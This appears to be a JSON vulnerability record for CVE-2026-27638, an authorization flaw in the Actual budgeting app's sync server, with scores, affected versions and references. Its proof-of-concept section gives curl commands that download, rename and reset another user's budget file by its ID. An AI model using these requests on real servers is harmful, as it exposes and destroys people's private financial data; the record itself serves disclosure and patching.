{"id":"CVE-2026-27638","aliases":["CVE-2026-27638","GHSA-qmjj-p7m9-wjrv"],"related":[],"kind":"vulnerability","state":"published","title":"ActualBudget missing authorization in sync endpoints allows cross-user budget file access in multi-user mode","summary":"Actual is a local-first personal finance tool. Prior to version 26.2.1, in multi-user mode (OpenID), the sync API endpoints (`/sync/*`) don't verify that the authenticated user owns or has access to the file being operated on. Any authenticated user can read, modify, and overwrite any other user's budget files by providing their file ID. Version 26.2.1 patches the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Actual is a local-first personal finance tool. Prior to version 26.2.1, in multi-user mode (OpenID), the sync API endpoints (`/sync/*`) don't verify that the authenticated user owns or has access to the file being operated on. Any authenticated user can read, modify, and overwrite any other user's budget files by providing their file ID. Version 26.2.1 patches the issue.","source":"cvelist"},{"lang":"en","text":"In multi-user mode (OpenID), the sync API endpoints (`/sync/*`) don't verify that the authenticated user owns or has access to the file being operated on. Any authenticated user can read, modify, and overwrite any other user's budget files by providing their file ID.\n\n## Affected Code\n\nFile: `packages/sync-server/src/app-sync.ts`\n\nThe `validateSessionMiddleware` on line 31 confirms the user is authenticated, but individual endpoints only check that the file *exists* (via `verifyFileExists`), never that the requesting user *owns* or *has access to* the file.\n\nCompare with `POST /sync/delete-user-file` (lines 394-430) which correctly checks:\n```js\nconst isOwner = file.owner === userId;\nconst isServerAdmin = isAdmin(userId);\nif (!isOwner && !isServerAdmin) { ... }\n```\n\nThis check is missing from all other endpoints.\n\n## Affected Endpoints\n\n- `GET /sync/download-user-file` - download any budget file\n- `POST /sync/upload-user-file` - overwrite any budget file\n- `POST /sync/sync` - read/write sync messages of any file\n- `POST /sync/user-get-key` - read encryption key info\n- `POST /sync/user-create-key` - change encryption key\n- `POST /sync/reset-user-file` - reset sync state\n- `POST /sync/update-user-filename` - rename file\n- `GET /sync/get-user-file-info` - read file metadata\n\n## PoC\n\nSetup: Two users (Alice, Bob) authenticated via OpenID on the same Actual server. Alice has a budget with fileId `abc-123`.\n\nBob downloads Alice's budget:\n```bash\ncurl -X GET 'https://actual.example.com/sync/download-user-file' \\\n  -H 'X-Actual-Token: <bob-session-token>' \\\n  -H 'X-Actual-File-Id: abc-123' \\\n  -o stolen-budget.blob\n```\n\nBob reads Alice's file metadata:\n```bash\ncurl -X GET 'https://actual.example.com/sync/get-user-file-info' \\\n  -H 'X-Actual-Token: <bob-session-token>' \\\n  -H 'X-Actual-File-Id: abc-123'\n```\n\nBob renames Alice's budget:\n```bash\ncurl -X POST 'https://actual.example.com/sync/update-user-filename' \\\n  -H 'X-Actual-Token: <bob-session-token>' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"fileId\": \"abc-123\", \"name\": \"pwned\"}'\n```\n\nBob resets Alice's sync state (destructive):\n```bash\ncurl -X POST 'https://actual.example.com/sync/reset-user-file' \\\n  -H 'X-Actual-Token: <bob-session-token>' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"fileId\": \"abc-123\"}'\n```\n\nFile IDs can be discovered by admin users via `GET /sync/list-user-files` (admins see all files), through `user_access` sharing, or by guessing.\n\n## Impact\n\nIn multi-user deployments (OpenID mode), any authenticated user can steal other users' complete financial data (transactions, accounts, balances, payees), modify or destroy their budgets, and tamper with encryption keys. This is a personal finance app, so the data is highly sensitive.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Actual es una herramienta de finanzas personales local-first. Antes de la versión 26.2.1, en modo multiusuario (OpenID), los endpoints de la API de sincronización ('/sync/*') no verifican que el usuario autenticado posea o tenga acceso al archivo sobre el que se está operando. Cualquier usuario autenticado puede leer, modificar y sobrescribir los archivos de presupuesto de cualquier otro usuario proporcionando su ID de archivo. La versión 26.2.1 soluciona el problema.","source":"nvd"}],"published":"2026-02-26T22:14:21.481Z","modified":"2026-06-17T10:27:26.207Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","score":5.7,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","score":5.7,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N","score":7.1,"rating":"HIGH"}],"cwes":["CWE-862"],"affected":[{"ranges":[{"version":"< 26.2.1","status":"affected"}],"vendor":"actualbudget","product":"actual","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"26.2.1"}],"ecosystem":"npm","package":"@actual-app/sync-server","purl":"pkg:npm/%40actual-app/sync-server","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"26.2.1"}],"vendor":"actualbudget","product":"actual","cpe":"cpe:2.3:a:actualbudget:actual:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/actualbudget/actual/security/advisories/GHSA-qmjj-p7m9-wjrv","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/actualbudget/actual/commit/9966c024cb75f57943193cac8e42f401efed9d08","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/actualbudget/actual/releases/tag/v26.2.1","tags":["product","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27638","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/actualbudget/actual","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-03-02T20:48:46.903Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-27638","url":"https://www.cve.org/CVERecord?id=CVE-2026-27638","licence":"CVE Terms of Use","modified":"2026-03-02T20:48:53.277Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-qmjj-p7m9-wjrv","url":"https://github.com/advisories/GHSA-qmjj-p7m9-wjrv","licence":"CC-BY-4.0","modified":"2026-02-28T05:56:20.442Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-27638","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27638","licence":"Public domain","modified":"2026-06-17T10:27:26.207Z"}],"updatedAt":"2026-11-25T22:59:14.981Z","epss":{"score":0.00351,"percentile":0.30715,"date":"2026-12-01T12:00:22.000Z"}}